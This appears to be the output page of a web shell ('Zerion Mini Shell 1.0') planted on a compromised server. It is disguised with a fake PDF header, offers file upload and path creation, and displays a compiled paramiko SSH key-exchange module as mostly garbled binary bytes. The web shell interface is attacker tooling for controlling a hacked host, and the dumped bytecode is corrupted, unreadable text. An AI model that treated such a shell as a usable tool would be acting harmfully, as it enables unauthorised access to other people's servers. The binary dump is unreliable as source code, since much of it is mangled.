%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/paramiko/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/paramiko/__pycache__/kex_ecdh_nist.cpython-312.pyc

�

�ec����dZddlmZmZmZddlmZddlmZm	Z	ddl
mZddlm
Z
ddlmZddlmZdd	lmZed
d�\ZZed
d�D�cgc]
}e|���c}\ZZGd�d
�ZGd�de�ZGd�de�Zycc}w)zQ
Ephemeral Elliptic Curve Diffie-Hellman (ECDH) key exchange
RFC 5656, Section 4
�)�sha256�sha384�sha512)�Message)�byte_chr�long)�SSHException)�default_backend)�ec)�
serialization)�hexlify�� c�Z�eZdZdZeZej�Zd�Z	d�Z
d�Zd�Zd�Z
d�Zy)	�KexNistp256zecdh-sha2-nistp256c�N�||_td�|_d|_d|_y)Nr)�	transportr�P�Q_C�Q_S)�selfrs  �8/usr/lib/python3/dist-packages/paramiko/kex_ecdh_nist.py�__init__zKexNistp256.__init__s"��"����a����������c��|j�|jjr |jjt�yt�}|j
t�|j|jjtjjtjj��|jj!|�|jjt"�y�N)�_generate_key_pairr�server_mode�_expect_packet�_MSG_KEXECDH_INITr�add_byte�c_MSG_KEXECDH_INIT�
add_stringr�public_bytesr�Encoding�X962�PublicFormat�UncompressedPoint�
_send_message�_MSG_KEXECDH_REPLY)r�ms  r�	start_kexzKexNistp256.start_kex s������!��>�>�%�%��N�N�)�)�*;�<���I��	�
�
�%�&�	����H�H�!�!��&�&�+�+��*�*�<�<�
�	
�	
���$�$�Q�'����%�%�&8�9rc��|jjr|tk(r|j|�S|jjs|tk(r|j|�St
dj|���)Nz(KexECDH asked to handle packet type {:d})rrr �_parse_kexecdh_initr*�_parse_kexecdh_replyr	�format)r�ptyper+s   r�
parse_nextzKexNistp256.parse_next1si���>�>�%�%�5�4E�+E��+�+�A�.�.����+�+��:L�1L��,�,�Q�/�/��6�=�=�e�D�
�	
rc��tj|jt��|_|j
jr |jj�|_y|jj�|_	yr)
r�generate_private_key�curver
rrr�
public_keyrr)rs rrzKexNistp256._generate_key_pair:sU���(�(����_�5F�G����>�>�%�%��v�v�(�(�*�D�H���6�6�$�$�&��rc�&�|j�}tjj|j|�|_|jj�j�}|jjtj�|j
�}tt|�d�}t�}|j|jj |jj"|jj$|jj&�|j)|�|j)|�|j)|j*j-t.j0j2t.j4j6��|j9t|��|j;|j��j=�}|jj?||�|jj�jA||jjB�}t�}|jEtF�|j)|�|j)|j*j-t.j0j2t.j4j6��|j)|�|jjI|�|jjK�y�N�)&�
get_stringr�EllipticCurvePublicKey�from_encoded_pointr5rr�get_server_key�asbytesr�exchange�ECDHrr
r�add�remote_version�
local_version�remote_kex_init�local_kex_initr#rr$rr%r&r'r(�	add_mpint�	hash_algo�digest�_set_K_H�
sign_ssh_data�
host_key_typer!�c_MSG_KEXECDH_REPLYr)�_activate_outbound)rr+�	Q_C_bytes�K_S�K�hm�H�sigs        rr.zKexNistp256._parse_kexecdh_initAs���L�L�N�	��,�,�?�?��J�J�	�
����n�n�+�+�-�5�5�7���F�F�O�O�B�G�G�I�t�x�x�0������R� ��
�Y��
����N�N�)�)��N�N�(�(��N�N�*�*��N�N�)�)�		
�	�
�
�c��
�
�
�i� �
�
�
��H�H�!�!��&�&�+�+��*�*�<�<�
�	
�	���T�!�W���N�N�2�:�:�<�(�/�/�1��������1�%��n�n�+�+�-�;�;�
�t�~�~�+�+�
��
�I��	�
�
�&�'�	���S��	����H�H�!�!��&�&�+�+��*�*�<�<�
�	
�	
���S�����$�$�Q�'����)�)�+rc�N�|j�}|j�}tjj|j|�|_|j
�}|jjtj�|j
�}tt|�d�}t�}|j|jj|jj |jj"|jj$�|j'|�|j'|j(j+t,j.j0t,j2j4��|j'|�|j7|�|jj9||j;|j=��j?��|jjA||�|jjC�yr8)"r:rr;r<r5r�
get_binaryrr?r@rr
rrArrCrBrErDr#rr$rr%r&r'r(rFrIrGr>rH�_verify_keyrM)rr+rO�	Q_S_bytesrSrPrQs       rr/z KexNistp256._parse_kexecdh_replynsn���l�l�n���L�L�N�	��,�,�?�?��J�J�	�
����l�l�n���F�F�O�O�B�G�G�I�t�x�x�0������R� ��
�Y��
����N�N�(�(��N�N�)�)��N�N�)�)��N�N�*�*�		
�	�
�
�c��
�
�
��H�H�!�!��&�&�+�+��*�*�<�<�
�	
�	�
�
�i� �
���Q��������4�>�>�"�*�*�,�#?�#F�#F�#H�I����"�"�3��,����)�)�+rN)�__name__�
__module__�__qualname__�namerrGr�	SECP256R1r5rr,r2rr.r/�rrrrs8���D��I��B�L�L�N�E��:�"
�'�+,�Z,rrc�6�eZdZdZeZej�Zy)�KexNistp384zecdh-sha2-nistp384N)	rXrYrZr[rrGr�	SECP384R1r5r]rrr_r_�����D��I��B�L�L�N�Err_c�6�eZdZdZeZej�Zy)�KexNistp521zecdh-sha2-nistp521N)	rXrYrZr[rrGr�	SECP521R1r5r]rrrcrc�rarrcN)�__doc__�hashlibrrr�paramiko.messager�paramiko.py3compatrr�paramiko.ssh_exceptionr	�cryptography.hazmat.backendsr
�)cryptography.hazmat.primitives.asymmetricr�cryptography.hazmat.primitivesr�binasciir
�ranger r*r"rLrr_rc)�cs0r�<module>rps����
+�*�$�-�/�8�8�8��(-�b�"�
�%��%�@E�b�"�
�*N�1�8�A�;�*N�'��'�x,�x,�v�+���+���I+Os�B

Zerion Mini Shell 1.0